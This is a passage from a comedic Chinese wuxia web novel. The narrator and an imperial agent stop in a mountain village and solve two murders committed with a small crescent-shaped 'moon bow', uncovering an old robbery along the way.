娄琴拿着九郎剑,说:“为什么打架?” 我却不知道如何说明这一切。我只能说:“我看他不顺眼。” 柳无风冷哼一声,站了起来。 凳子依旧牢牢地贴在他屁股上,随着他起身,高高地翘着。他把手伸到后面,眉头紧皱,似乎是忍受着极大的痛苦。 “呲啦”一声。那是布条被撕碎的声音。 柳无风将那凳子拿下来,扔在地上,说:“凳子该修一修了。夹得我屁股很疼。” 他转身来开,屁股上一个巴掌窟窿,露着雪白的臀部。再去看那凳子上,一道长而狭窄的裂缝上,巴掌大小的一块灰布迎风飘荡。 柳无风背着身子,说:“一个时辰之后,客栈门口见。” 他走了。娄琴走到我跟前,问:“他是谁?” 我想告诉娄琴,他是皇上的人。我想把一切都告诉她,但是,我想起了赵构对我满含杀意的警示,不由地让我心里一阵惊慌。 我说:“我要走了。” 娄琴一怔,说:“你去哪里?” 我说:“我要去括苍山,参加武林大会。” 娄琴问:“你为何要参加武林大会?” 我说:“我也不知道。” 娄琴并没有继续问,她只是温柔地笑着,把九郎剑递到我的手中,说:“你有你自己的事情要做,这很好。只是,要注意安全。” 我目送娄琴走开,看着她的背影,我感觉愧疚。这愧疚在我心里犹如一根刺,让我异常难受。她对我如此这般地好,我却仍要隐瞒她许多事情。 总有一天,我会把一切告诉她的。我这样想着。 一个时辰之后。 柳无风如约出现在客栈的门口。他的怀里抱着一柄长刀。刀长约五尺,刀柄近两尺。棕黄色的刀鞘看起来朴实无华,但那宽厚的刀身,隐隐让我感觉这柄刀绝非俗物。 柳无风对我的态度,依旧十分冷漠,依旧是让我深感不满。 从始至终,我没有跟他说一句话。 我俩各自骑着一匹马,一路南行,向着括苍山的方向行进。 黄昏时候,我们到名叫朱家岭的山村。 柳无风终于开口了,他说:“在这里住下。” 凭什么他说在这里住,我便要在这里住?我才是武林盟主,他应该听我的! 我说:“我不住。” 柳无风说:“你随意。我住下。”他翻身下马,向村口一间民宅走去。 “咚、咚、咚”。 他叩响院门。门很快开了一道缝隙,一张枯瘦的中年人脸从门缝里挤出来。 “找谁啊?”那中年人先打量了一番,问。 柳无风直接从怀里掏出一锭五两的银子,伸到那中年人面前,说:“借住一宿。” 中年人登时眼冒红光,喜笑颜开,将门大敞,说:“兄弟你来我这住就对了,我们这朱家岭啊,是方圆五十里唯一的一个村子了。我老婆烧得菜是我们村出了名的......” 我心里一沉,这是唯一的一个村子。看来今夜非要住在这里不可了。我翻下马背,虽然很不情愿,但还是随着柳无风走进了院子。 院子很小,不过丈余。四周是低矮的坯墙,正中是两间破旧的茅屋,东边一座空空荡荡的牛棚,看上去已经废弃很久了。只怕这一整间院子,都不值那五两银子。 我对柳无风说:“为什么住这里?前面或许还有大户。” 柳无风说:“身在江湖,苍穹为盖,大地为床,不必讲究。” 我说:“你不讲究,也不能这么将就啊!” 柳无风没有说话,他目光略过鸡舍,两只瘦弱的老母鸡正趴在窝里闭目养神。他指了指鸡窝,对那中年人说:“杀一只炖炖。” 那中年一怔,面露难色,说:“这,这......我家可就这么两只母鸡了。” 柳无风从怀里又掏出一锭五两的银子抛给那中年,说:“两只都杀了!炖一只,烤一只!” 那中年人接过银子,激动得都快要哭出来了。他连连点头,说:“杀,杀!” 我不明白他为什么要这么做。五两银子住一间破屋,又五两银子买两只老母鸡,真的有必要如此浪费吗? 我对柳无风说:“我们一顿饭吃不了两只鸡?” 柳无风说:“无妨。我们出得乃是公差,回去之后,自有皇上报销。” 他这样一说,我顿时感觉无比的羡慕。我感慨:“为朝廷做事真好,出公差可以杀两只鸡。” 柳无风忽然做了一个噤声动作,说:“对皇上只能说杀了一只。” 我问:“为什么?” 柳无风说:“皇上说了,超标不给报。” 我恍然大悟,心里只道,原来如此~! 第二卷 武林盟的开始与结局 第八十三章 凶手 我和柳无风寄宿的这家,男人叫朱(脱敏)毛喜,女人叫毛喜珠。 (作者说明:因为男人的名字前两个字连起来被列为违禁词,因此,以下称朱茂喜,大家知道怎么个意思就好了。) 我问:“为何你们名字如此相似。” 朱茂喜说:“我爹姓朱,我娘本家姓毛,我爹认为,生下我乃是一大喜事,所以我叫朱茂喜。” 我指了指毛喜珠,问:“她呢?” 朱茂喜笑着,说:“我俩乃是姑舅亲。她们家男丁极为兴旺,好容易生了她这么个女娃,只感觉喜得明珠,所以她叫毛喜珠。” 看来,有寓意的名字,并不一定是好名字。 我问柳无风:“你为什么叫柳无风?” 柳无风说:“你可以去问我爹。” 我问:“你爹在哪里?” 他“咣”的一声将刀拔出一半,说:“已经死了。你还去吗?” 我不想去。 入夜。我和柳无风一顿饱餐。朱茂喜夫妻二人看起来许久没有开荤了,把我俩剩下的鸡肉一扫而净,甚至连鸡骨头都要咬碎了在嘴里咂摸两下。 毛喜珠吃得美滋滋的,收拾碗筷时,不停地吧唧嘴,似乎是在回味着鸡肉的美味。 一切收拾得当。朱茂喜给我们腾出里屋,自己与媳妇住在外屋。我躺在硬邦邦土炕上,刚要闭目养神,却听见屋外毛喜珠说:“我走了。” 朱茂喜语气生硬,带着微微怒气,说:“别去了!” 毛喜珠说:“村长还在家等着呢。” “哐啷”一声,似乎是朱茂喜踢翻了门口的木桶,叫道:“老子现在有钱了,还在乎他那两袋大米吗?!不许去!” 毛喜珠的语气有些委屈,说:“你现在知道不愿意了。早些年要不是你烂赌,我至于为了讨生活去陪那腌臜货吗?如今有两个钱就不让我去了,日子还长着呢,钱花没了,你再让我去,人家还不一定要了呢!”说完,她竟然呜咽起来。 屋外陷入了一片沉寂。只有风声和毛喜珠的抽泣声,听起来竟有些毛骨悚然。 我拉开屋门,问:“你们怎么了?” 朱茂喜忽然愣住了,毛喜珠则低头跑开了。 柳无风在屋里喊:“不关你的事,回来!” 我对柳无风这样的人深感不耻,我说:“我们吃住在人家里,若他有难处,我们应当帮忙。” 朱茂喜看起来并不想让我帮忙,他说:“这是我们的家事,你不用管。” 毛喜珠还是收拾这东西走了。她走后,朱茂喜变得十分烦躁。他在院里徘徊着,是不是地往墙上踹两脚,似乎在发泄着什么。 我问柳无风:“他怎么了?” 柳无风说:“你不要管别人的事。” 我在屋门口看着越来越暴躁的朱茂喜,他的异常举动让我越来越好奇。正当我忍无可忍地想要上前时,毛喜珠从门外衣衫不整地跑了回来。 “不好了,不好了!”毛喜珠惊慌失措地喊着。 朱茂喜问:“怎么了?” 毛喜珠说:“村,村长,他,他......”她慌乱地开始结巴。 朱茂喜怒道:“到底怎么了?你倒是说啊!” 毛喜珠喘了一口大气,说:“他死了!” “死了!” 朱茂喜叫道。但我分明在他脸上看到一丝兴奋。 听到有人死了,柳无风也从屋里冲了出来,问:“何人死了?” 毛喜珠依旧是惊慌的模样,说:“我们村村长......他死了!” 柳无风问:“怎么死的?” 毛喜珠说:“我和他……”她过说到一般,突然有些迟疑,似乎有什么难言之隐,想了片刻,又说:“有一只箭从窗外射进来,把他的胸口射穿了!”她满目惊恐,看起来吓得不轻。 我说:“带我去看看。” 柳无风一把拉住了我,说:“不要节外生枝,睡觉!”说罢,他拉着我拐进了屋子。 我对柳无风说:“看看又何妨?” 柳无风说:“看了又何用?” 这一句竟将我问住了。我虽是十分好奇,但转念一想,自己即便是去了,也无非是凑个热闹,看了也没什么用。 朱茂喜两人显然是惊慌不已,他们一直在屋外嘀咕着,不知在商量着什么。 两个时辰之后,已是深夜。朱茂喜的家忽然传来咚咚咚的敲门声,声音甚为急促。 毛喜珠惊道:“怎么办?是不是有人找来了!” 朱茂喜说:“先去开门。” 并没有等他去开门,朱茂喜家破旧的木板门被“咣当”一声踹开了。我趴在窗户前透过缝隙向外窥视。 弦月清光下,隐约可见三名官府的差役走了进来。他们腰悬宝刀,身板直挺,威风赫赫。 “家里人呢?!”一人厉声喝道,“都出来!” 朱茂喜出门迎上,怯生生地说:“官爷,有什么吩咐?” 一人说:“刚刚接到报案,两个时辰以前,你们村村长朱胜九离奇被杀。曾有人说,见你家女人在那里进出,让她跟我们走一趟吧。” 朱茂喜说:“官爷,此事和我家娘子无关啊!” 那人喝道:“有关还是无关不是你说了算。我们需要细细审问才能得知。” 月光下,朱茂喜跪倒在了地上,哭道:“官爷,这事真的与我娘子无关啊。她一个妇道人家,怎么可能会杀人呢?!” “啪”的一记耳光,在小院中回响,朱茂喜被打翻在地,捂着脸不敢再发出一点声音。 “老子的话莫非你听不明白不成?”那人吼道,“再敢阻挠老子办差,老子连你一起带走!”三个人,手按在刀柄之上,冲进了屋子。 “官爷,我冤枉,我冤枉啊.....”毛喜珠哭着。 我看着在床上躺着一动不动的柳无风,问:“官差欺压百姓,你也不管吗?” 柳无风淡淡地说:“官府办案自有章程,那小娘子有嫌疑,自然是要找她。” 我并不能认同柳无风的话,转身冲出屋门,大叫:“住手!” 四个人同时愣住了。两个人抓着毛喜珠的胳膊,另一个人还僵着一张不怀好意的笑脸。 “还有外人?!”那个不坏好意的笑脸说,“给我一块锁了!” 我见情势不妙,拔出九郞剑应对。一人道:“吆喝,还私藏兵刃!”他拔出腰间的刀,故意向我挑拨。 我挥剑与他对拼。“当”的一声,他的刀断成了两截。 “头,头,头儿,他,他的剑.......”那人叫道,“我,我的刀......” “看你那熊样儿,一掉胆儿就结巴。快去喊人!”不怀好意的笑脸说。 那人提着半截断刀,连滚带爬的跑出门外,只听他大喊:“快来人啊!凶手在这里!” 我他娘的何时成了凶手了?! 我向门外喊:“我不是凶手!” 但是,那人并没有改口的意思,依旧在喊:“快来人啊!凶手在这里!” 我大喊:“你住口!” 很快,朱茂喜家的小院里围满了人。七个手持刀剑的官差,和二三十个提着钉耙锄头的村民。 柳无风眼前场面已经没法收拾,只得从里屋走出来,他白了我一眼,说:“叫你不要多管闲事!” 我不服气,说:“路见不平,拔剑......平之!” 柳无风没有理我,问道:“你们这里谁是头儿?!” 不坏好意的笑脸站出来,喝道:“老子是富阳县衙的捕头孙不平,你有何事?” 柳无风扭头看了我一样,说:“这就是你说的路见不平?” 我只能说,此乃巧合。 柳无风说:“你过来!我有话跟你说。” 孙不平冷笑:“你算什么东西,敢跟老子这么说话!” 柳无风从腰间掏出一块金牌扔给孙不平,没有说话,转身走进屋子,坐在桌前慢悠悠地喝起了水。 “别以为你扔给老子一块金子,老子就能放了你。”孙不平拿着金牌就要往腰间塞。这时,旁边有人在他耳边说了几句。孙不平吓得差点摊地上,赶紧将牌子捧在手里,两腿瘫软着走进屋里,噗通一声跪在地上,颤声说道:“不,不知大人驾临,小的该死,小的该死!” 柳无风将金牌收回,塞入腰间,说:“案子查得怎么样了?” 孙不平说:“回禀大人,这朱茂喜家的婆娘就是凶手。” 我并不能接受他的说法,我问:“你有何证据?” 孙不平跪在地上,挪向我,说:“有人眼见,朱胜九死前直到尸体被发现,只有这家的婆娘曾进过他的房间,大约......半盏茶的时间。” 柳无风摸着下巴,若有所思:“这么快?!” 孙不平不解地问:“大人指的是什么?” 柳无风咳了两声,尴尬地说:“没,没什么。”他沉吟了片刻,又问:“可我听说,那朱......” 孙不平连忙补道:“朱胜九。” 柳无风说:“对,朱胜九。他是被从窗口射进的箭射穿胸口而死。这毛喜珠既然在房中,如何能是杀人凶手?” 孙不平想了想,一拍脑门,说:“大人果然聪明睿智,一语点醒小人,那毛喜珠定然不是凶手,凶手肯定另有其人。” 柳无风端起茶碗,像喝茶一样地抿了一口,似乎是发觉索然无法,不禁眉头一皱。他说:“如果这毛喜珠是在出门之后,在门外突施冷箭,杀人之后迅速离开呢?” 孙不平霎时间傻眼了,喃喃道:“那大人的意思,她到底是不是凶手啊?” 第二卷 武林盟的开始与结局 第八十四章 道理 无论毛喜珠是不是凶手,柳无风都决定留下了管这桩闲事,这与他一贯不节外生枝的主张并不相称。 正因如此,我对他的转变颇感好奇,便问他:“为什么又要留下了?” 柳无风只说是距离括苍山武林大会时日尚早,不怕耽搁。 我问:“若耽搁了呢?” 柳无风说:“便拿你是问!” 我怒问为何。柳无风说:“是你这乌鸦嘴说的。” 第二日一早,我们在孙不平的引领下来到了村长朱胜九的家中。朱胜九卧房正中,一摊凝固的血迹已近墨色。尸体早已在昨夜便被抬走了,孙不平向我们介绍着案发现场的情况,他指着地面说:“朱胜九本是趴在地上的,一只短箭从他后心穿透,致命伤仅此一处。” 我盯着窗户上的一个洞怔怔地看。孙不平走到我跟前,说:“这是.......” “我知道!”我说,“箭就是从这里射进来的。” 孙不平说:“其实......” 我说:“你不用说了。这只箭并不粗,似乎是什么暗器。”我用小拇指伸进洞里探了探,勉强可以通过。 孙不平说:“我的意思是......” 我摆手打断孙不平,扭头对柳无风说:“看来凶手不是毛喜珠。”因为,我通过这个洞口向外探视,发现这个窗户的后面是一个下山的斜坡。 柳无风并没有理我。孙不平轻轻咳了两声,说:“其实.....这个洞......是小人戳的。” 小人? 我问:“谁是小人?” 孙不平憋得一脸通红,一副欲言又止的模样。我恍然大悟,说:“小人是你!”孙不平的脸登时铁青。 柳无风四处寻觅了一番,发现了箭射进来的那个洞口,他说:“箭是从院子里射进来的。”我听他这么一说,赶紧跑过去查看,那个洞有两支宽,我说:“你怎么知道箭是从这个洞里射进来的?” 柳无风看了一眼地上的血迹,淡淡的说:“看方位。” 我想起重阳子曾向我讲解颇为深奥的九宫八风图,瞬间对柳无风肃然起敬,说:“你还懂风水?” 柳无风瞥了我一眼说:“改日给你寻个墓地如何?” 我心头一热,说:“多谢。”柳无风冷哼一声,走开了。我看着他,忽然感觉这个冷冰冰的汉子并不像我看到的那样冷。 我们三人在朱胜九的卧房里研究了半晌,依旧没有什么头绪。除了那个箭射进的洞口,再没有其他的蛛丝马迹可寻。 晌午时分。一个自称是朱胜九媳妇的妇人对我们说,家里备好了酒菜款待,请大人们到客堂享用。 孙不平笑问柳无风:“大人若不嫌此地晦气,不如在此吃些酒菜可好?” 柳无风惜字如金,只说:“吃。” 一顿酒足饭饱之后,柳无风双手攥着筷子,“咔”的一声掰断,用毛刺剔着牙,对朱胜九的媳妇说:“拿纸笔来!” 孙不平一脸恭维,说:“大人可是要趁酒作诗?” 柳无风并没有理会他。朱胜九的媳妇端着纸币放在柳无风面前,柳无风却将它推了回去,说:“会写字吗?” 朱胜九媳妇一怔,说:“粗识几个大字。” 柳无风说:“写!” 朱胜九媳妇一脸疑惑,但还是拿起了笔。柳无风念道:“你写,今收到宿食费用共计纹银五十两!” 五十两! 我说:“哪里来的五十两?!” 柳无风也不理我,看着双手颤抖的朱胜九媳妇,说:“快写!” 朱胜九媳妇噗通一声跪倒在地,哭道:“大人,我家没有这么多钱啊!你行行好吧!” 柳无风说:“谁要你的钱,我只是让你给我打个字条!” 我问:“打字条做什么?” 柳无风说:“报账!” 我靠! 我说:“你报的是假账!” 柳无风说:“公差出行,谁报真账?!”他一把拉起朱胜九媳妇说:“快写。” 孙不平笑道:“这个我懂,我懂!你只管按大人的吩咐写了便是。” 朱胜九媳妇在柳无风的淫威之下打完了字条。柳无风找了个躺椅闭目养神,孙不平忽然捂着肚子称要如厕,便夺门而出。我则百无聊赖地坐在桌前,看着一身素衣的朱胜九进进出出的忙活着。 莫约一盏茶的功夫,忽然院子里传来一声尖叫。柳无风从躺起上腾地站了起来,问:“怎么了?!” 我快步走到门口,只见院子里已为了七八个人。我冲他们喊:“发生了什么事?” 有人回道:“孙,孙捕头死了。” 我只觉得脊背一阵阵地发凉。这个村子莫非有什么邪魔作祟,光天化日之下,竟然在所有人毫无察觉的情况下又死了一人,而且还是官府的捕头。 柳无风快步走了过去,我紧跟其后。众人见我们前来,纷纷躲避,让开一个缺口。只见孙不平正趴在地上,一支十几寸短箭直直地插入他的后心,大片献血已从胸口流出,眼见是不能活了。 “和朱胜九死得是一模一样啊!”有人惊恐地说。 “是厉鬼索命来了!”又有人说。 柳无风一把抓住那人的领口,喝道:“什么厉鬼索命?!” 众人纷纷向后退却,那人满脸惊恐,一张脸惨白,但他死死地咬着牙关,似乎是有什么极为恐怖的事情,让他不敢开口。 柳无风怒道:“不说?!我便先索了你的命!” 那人连连求饶,说:“大人,这,这是厉鬼索命啊,我,我不敢说。” 我只觉得一股凉气从地底钻入脚心,直拔天灵盖。我问:“真的有鬼?” 柳无风喝道:“哪里有鬼!都是胡说八道!”说罢,他将那人像拎鸡仔一样地拎进了屋里,一把将他摔在地上,大声吼道:“快说!” 那人翻身跪在地上,向我们讲述了一段他们村子里发生的极为不光彩的往事。 三年前。 两个江湖人路过朱家岭,寄宿在朱胜九家中。他们身上各自背了一个极重的包裹,走起路来哗哗作响,十分不便。但那两个人却怎么也不肯将包裹取下来,吃饭睡觉都背在身上。 朱家岭地处荒郊野岭,常年靠天吃饭。那一年恰逢旱季,山上的收成不好,村里已经饿死了许多户人家。朱胜九便召集村里几个壮汉商议。他说,见那两个江湖人身负重物却不肯卸下,定然是有什么金银珠宝。为了保住全村人的性命,他便主张劫了那两个江湖人,出去换粮食。 当夜,孙不平公干归来,路经朱家岭,因他与朱胜九相识多年,便索性住在了朱胜九家中。但是,两个江湖人称天亮便离开朱家岭。 眼见大好时机稍纵即逝,朱胜九便将计划向孙不平和盘托出,并许诺,事成之后,将所得财物分给孙不平一半。 孙不平被说动了。 一切商定,朱胜九在两个江湖人的茶水中加了迷药。夜静更深之时,朱胜九叫了村里的壮汉在屋外策应,他独自进屋去盗取两个江湖人的包裹。 万万没想到,其中一人并未喝茶水。朱胜九刚刚进屋,便将那人惊醒了。那人勃然大怒,亮出兵刃要砍了朱胜九的脑袋。 朱胜九连滚带爬跑到院中,十几个壮汉拿着棍棒将那江湖人团团围了起来。但那江湖人武功了得,只一眨眼的功夫,将十几个壮汉尽数打翻在地。 所有的人跪地求饶,那人哈哈大笑,道:“讲道理,就算你们再来十个老子也不在话下。” 孙不平眼见事情败露,假装毫不相干,从屋里冲出来大声询问:“出什么事了?” 那人见孙不平一身官差的打扮,便放松了警惕,背对着孙不平,指着匍在地上的一群人,说:“讲道理,这群人真他娘的不讲道理。” 他话音刚落,刀尖儿就从他的胸口刺了出来。却是孙不平趁机从后背将那人捅了个窟窿。他费解地看着孙不平,致死都不敢相信自己打倒了劫匪却死在了官府手中。 临死之前,他颤声说道:“讲道理,你也不讲道理!” 我实在听不下去了,截断了他的讲述,说:“什么叫讲道理?” 那人诺诺地说:“大概是他的口头禅。” 柳无风喝道:“你不要打断!你继续说!” 话说,孙不平杀死了那个江湖人之后,一不做二不休,拉着朱胜九,提刀冲进了屋里,一刀刺穿了两一个江湖人的胸膛。 那个江湖人原本被迷药迷晕了。但那一刀下去,登时被疼醒了。他惊恐地看着孙不平与朱胜九,喊道:“讲道理......老子梦才做了一半......就......就......” 我再次截断,说:“他也要讲道理?” 那人尴尬地笑了笑,说:“他,他就是这么说的。” 柳无风冷哼一声,说:“你们这些人,如此不讲道理。” 我问:“那些钱呢?” 那人说:“后来,村里人打开那两个包裹......发现......发现......” “发现什么?!”我和柳无风同时问道。 那人说:“全都是铁片,一共三十几枚铁片。” (感谢作者离奇先生的口头禅,其大作《挂比快住手》同为第一人称搞笑文,欢迎去看......) 第二卷 武林盟的开始与结局 第八十五章 寡妇 无论你讲不讲道理,这个世间上总有很多事不讲道理。 两个江湖人口口声声地要讲道理,却因几枚铁片命丧朱家岭。 朱胜九、孙不平等人本欲劫财,连杀两命,却只得了两包铁片。 柳无风在朱胜九家明明白吃白喝,却要报纹银五十两的假账。 而我,只想学着柳无风的样子,用掰断筷子剔一剔牙,却豁了满嘴的血。撮着嘴里浓重的血腥味儿,我愤而将筷子扔在地上,狠狠地踩了两脚。 这夜住在朱胜九家。 孙不平死后,朱家岭皆言厉鬼索命,人人自危。朱胜九媳妇也不再专心准备朱胜九的丧事,而是一直跪在佛像前诵念。 我见这些人各个神经兮兮,柳无风饭后便如什么都没发生过一般,蒙头便睡,很快鼾声想起,惹得我不胜烦躁。 趁着月色,我出门闲逛。 风一吹,竟是一阵甚为熟悉的香味。 我当即四处张望,果然在朱胜九家的墙头上看见一个如雪玉兰花般的身影。她那半面倾城的脸上挂着盈盈笑意,另一半脸上的黑斑已经遮不住她绝世的容颜。 小月从墙头跃下,落在我面前,说:“果然是冤家路窄,在这种荒山野村竟然也能碰见你。” 我不知要如何回答小月,只觉得很尴尬,一种莫名其妙的尴尬。脸颊发烫,心在胸腔里咚咚直跳。 我觉得应该岔开这个话题。我问:“你的脸怎么又变丑了?” 小月重重地哼了一声,说:“变丑了?你嫌我丑吗?!”她皱着眉,看起来有些生气。 我慌忙解释:“不,不是,我是说......”不知要如何解释才能化解这场尴尬。 小月噗嗤一声笑了,她用手揭开脸上的黑斑,露出了那张让我见之如醉的脸,说:“出门在外,总要装扮一下,省得碰见登徒浪子纠缠,徒增烦恼。” 我怔怔地看着小月,几乎是无意识地脱口:“真好看。” 小月一愣,忽然脸颊一片红晕,她用手一点我额头,嗔说:“何时学得这么油嘴滑舌了?” 我只觉得更加尴尬,低下头,恨不得转身跑开。 小月打量着朱胜九家的小院,问:“这便是死了人的那家?” 终于有了让我不觉得尴尬的话题。我说:“是。你怎么知道?” 小月说:“整个朱家岭的人都在议论此事,我怎么能不知道?” 我哦了一声,再次陷入不知如何接话的沉默。小月问:“听说你们在查这事?” 我说:“是。” 小月又问:“可有头绪?” 听小月这样一问,我忽然有种失落感。我摇头回答,没有。 小月抬头望着漆黑的夜幕,我也抬头。一壶玄月弯如钩,高高挂在无边夜幕之上。小月说:“你可听说过月亮弓?” 月亮弓?! 我问:“是月亮上射出的箭吗?” 小月说:“月亮上怎么会射出箭来?!那是一种像这弯弯月亮一样的弓,它比寻常的弓要小许多,但却有极大的威力,它搭着一种特制的短箭,十丈之内(脱敏)射穿人的胸膛。这种弓强度并不大,寻常人便可以拉开。” 我说:“你知道凶手是谁?” 小月说:“我只是知道他们是死在月亮弓之下,并不知道凶手是谁。” 我忽然想起孙不平与朱胜九曾杀过的两个江湖人,我说:“是不是他们杀的两个江湖人回来索命?” 小月说:“你竟然也相信厉鬼索命这样的无稽之谈?!” 我忽然发觉自己方才的话说得不太清楚,我说:“我的意思是,是不是他们的同门来报仇了?” 小月说:“杀两个手无缚鸡之力的人而已,哪个门派的人会如此大费周章?直接杀了不就好了!” 我说:“那究竟是怎么回事?” 小月说:“一定是村里的人。” 村里的人? 会是什么人? 又为什么要杀人呢? “你是谁?”柳无风不知什么时候走了过来,他面无表情地看着小月。 小月冷笑,问:“你又是谁?” 我说:“他是......”柳无风捂住了我的嘴,说:“我是谁并不重要,你是谁?” 小月哼了一声,说:“我是谁也不重要。” 柳无风攥紧了拳头,他冷冷地看着小月,说:“你应该不是朱家岭的人。” 小月说:“我当然不是朱家岭的人,但我知道那两个人是怎么死的。” 柳无风问:“怎么死的?” 小月奴了奴嘴说:“当然是被人杀死的。” 柳无风大怒,闷声说道:“你竟敢耍我?” 小月呵呵一笑,说:“耍你又如何?看你们两个笨头笨脑的,还学着官府查案,只怕这朱家岭的人都死光了,你也未必能知道凶手是谁。” 柳无风说:“听你的意思,你是知道谁是凶手了?” 小月说:“虽然我不知道谁是凶手,但我知道这两个人都是死在月亮弓之下,只要顺着这条线索就一定能找到凶手。” “月亮弓?”柳无风问,“什么是月亮弓?” 小月便将月亮弓的事向柳无风说了一遍。柳无风沉吟了片刻,问:“这月亮弓是哪门哪派的兵器?” 小月说:“月亮弓并没有门派,他出自兵器大师张鸿九之手,是当年张鸿九赠予北冥派掌门的是贺礼。” 柳无风说:“那这事便是与北冥派有关了?” 我说:“北冥派已经没了。” 小月说:“当然与北冥派无关。当年北冥派掌门,途经河南,曾将月亮弓借予他人把玩,后来月亮弓就被大量仿制,在民间售卖,颇受欢迎。” 我不禁感慨:“河南人果然厉害!” 小月说:“这凶手定是村里的人。” 柳无风问:“你如何断定?” 小月眯起眼睛,微微一笑,说:“女人的直觉!”柳无风冷冷地哼了一声。 我问:“你还有什么直觉?” 小月说:“我的直觉告诉我,你们应该去最初的地方去看看。” 最初的地方? 我问:“哪里?” 话音刚落,柳无风已经拽着我走出了朱胜九家的院子。我手腕被他攥得生疼,奋力甩开,问:“去哪里?” 小月笑着,迈着欢快的步子从旁有过,说:“去最初的地方。” 哪里才是最初的地方呢? 我站在朱茂喜家破旧的院墙前,问:“这就是你说的最初的地方?” 他们两人谁都没有回答我。 走进院子时,一个妖娆的妇人提着一盏枯黄的灯笼向我们走来。她体态丰腴,步履婀娜,柳叶般的双眉,高鼻梁,两腮还涂着淡淡的胭脂。她见我正在看她,随即冲我微微一笑,脸上盛开着娇媚的嫣红。我总感觉他那一颦一笑间向我传递着一种难以言说的妖媚,足以勾魂射魄。 她从我们身旁略过,并未停留,却留下了一道浓郁的脂粉香气。 “风骚货!”小月愤愤地低声骂道。 看着她离开的背影。那一盏橘黄的灯笼,随着她摇摆的步子在空中晃荡。 我忽然间感觉耳朵一疼,竟是小月揪住了我的耳朵。她满脸不悦,瞪着眼睛说:“看,看,看!有什么好看的!” 我甩开小月的手,指着仍在回首凝视柳无风说:“他也在看。” 小月哼了一声,说:“他看我管不着,你看就是不行!” 这时,朱茂喜从屋里跑了出来,他说:“几位贵人来了,快到屋里坐!” 柳无风指着那个妖娆妇人的背影,问:“她是谁?” 朱茂喜说:“她是我们村的寡妇李兰花。” 小月瞥了她一眼,说:“难怪如此风骚。她是不是与朱胜九有染?” 朱茂喜阴沉着脸,低声说:“岂止是他与朱胜九有染,几乎全村的女人都与朱胜九有染。” “什么?!”我一阵惊讶。 朱茂喜却慌乱地摆手,说:“没,没什么!” 柳无风突然问:“你媳妇呢?” 朱茂喜说:“朱胜九的事她受了些惊吓,我叫她回娘家去躲几天了。” 柳无风似乎陷入了沉思。 小月说:“那就不打扰了,我们走!” 走?!不是要说到最初的地方看看吗? “为什么要走?”我问。 小月说:“难道你要在此过年不成?” 离开朱茂喜家,小月说:“我的直觉告诉我,我们应该去看看那寡妇。” 我问:“为什么?” 小月说:“十案九奸,朱茂喜媳妇不在家,寡妇就上门了,这其中定然有猫腻!” 我说:“兴许是他们有什么事要做。” 小月的脸登时红了一片,白了我一眼,骂道:“下流!” 我哪里说错了吗? 李兰花的家在朱家岭的最东侧,前后左右与其他村民并不相邻。房子四周扎着篱笆,小月做了一个噤声的动作,带着我们缓步靠近。 刚刚靠近房子,就听见“哗啦”一声响,随即窗户的缝隙里飘出些许白烟。 透过缝隙,只见李兰花扯开裹在身上的白布,露出如羊脂一般的肌肤,丰乳肥(脱敏)臀尽显眼前,看得让人忍不住怦然心跳。 小月将我一把扯开,低声吼道:“下流坯子,下流胚子!” 柳无风依旧趴在窗缝上看得如痴如醉。 我说:“他也在看!” 小月说:“你不许看!” 忽然,屋里传来“咣”的一声响,随即听见李兰花惊恐的吼叫声。 “什么人!” 第二卷 武林盟的开始与结局 第八十六章 缉凶 三更半夜,偷看寡妇洗澡,这样的事情不仅与道德不符,而且有悖律法。 但无奈的是,这样极其不道德又有违律法的事,我们不仅做了,而且还被李兰花发现了。 李兰花从屋里冲了出来,她那尚未穿着整齐的衣衫显示了她的慌乱。她看着我们,慌乱中又有些错愕。 “是你们?!”李兰花说。 我只感觉无地自容,毕竟这样的事情乃是生平第一次做,如果可以,我情愿立即调头就跑,远远地逃离朱家岭,只当自己从了没有来过。 然而,小月与柳无风并不想走。因为,小月的眼睛已经笑成了月牙,她满脸善意,说:“是我们。” 李兰花怒问:“是谁偷看老娘洗澡?!” 小月说:“是我!” 柳无风面无表情,靠在小月身旁轻声地说:“仗义!” “你?!”李兰花满脸错愕地打量着小月,忽然神情一变,说,“你骗我!” 小月依旧笑着,但她此时的笑却有些俏皮,她说:“你希望是谁?”她指了指柳无风:“是这个身体壮硕的莽汉?”她又指了指我:“还是这个呆头呆脑的傻小子?” 李兰花没有再说话,我们就这样对峙着。我的心里一阵紧张,忽然袖口一轻,竟是九郎剑不小心划了出来,“咣当”一声掉在地上。 李兰花随即掏出一样东西,却让我们三人几乎同时惊叫出声来。 那是一把弓。 一把如人小臂一般大小的弓。 弓弯如玄月,搭着一只十几寸长的短箭。箭如一根银色的长刺,在月光下闪着凛凛的光。 “果然是你!”小月冷笑着。 李兰花依旧十分惊慌,她手中的弓有些颤抖,打在弓弦上的箭也左右摇晃。她说:“你们要干什么?” 柳无风默不作声,“咣”的一声抽出了宝刀。 “你的刀......”我惊讶地看着,两尺刀柄,三尺刀鞘,拔出来的刀刃只有一尺有余。这样怪异的兵器,我还是第一次见到。 柳无风说:“我的刀很快。” 宽厚笨重的刀鞘,被柳无风随手扔在脚边,“咣当”一声,掀起一片扬尘。他双手握着两尺长的刀柄,刀柄上撅着的一尺刀刃,虽然寒气逼人,却怎么看都给我一种握反了的感觉。 小月噗嗤一声笑了,说:“这么短的刀,为何配了一个那么长的刀鞘?” 柳无风并没有笑,他只是淡淡地说:“那样看起来比较美观!” 小月抽出了手中的剑,但她却站在了我的身前。我弯腰捡起九郎剑,拔剑出鞘,轻轻拨了拨小月的肩膀。小月低声喝道:“干什么?” 我说:“你挡着我了!” 不知为何,她竟然用手肘狠狠磕了一下我的胸膛,疼得我几乎喘不过气来。 李兰花拉动弓弦,发出“嘎吱嘎吱”的声响。随即是“嗖”的一声,一道银虹从月亮弓上飞射而来。 “当”的一声。柳无风用那他宽厚的刀刃挡住了飞射而来的短剑。 刀映着月光,发出“嗡嗡”的震动声。柳无风闷哼一声,握刀的手也抖了抖,说道:“好强的弓,好有力的箭。” 小月冷哼,说了一声“废物”,随即身形一晃,化作一道亮丽白影,眨眼之间已闪到了李兰花跟前。 “呀!” 李兰花的惊叫声,娇滴滴的,竟让我心里一阵荡漾。莫名让我想起了那些年在灵峰寨与赵小娥春风沐雨的日子,她也是如这般的惊叫。 “嘣”的一声,仿佛是谁拨断了琴弦。小月在李兰花身边定住身形之时,李兰花手中的弓却已不再那么弯了。它就像一条被风吹弯的细柳枝,只是那么微微地弯曲,弯曲得毫无力道可言。 月亮弓的弓弦被小月在无形之中挑断了。 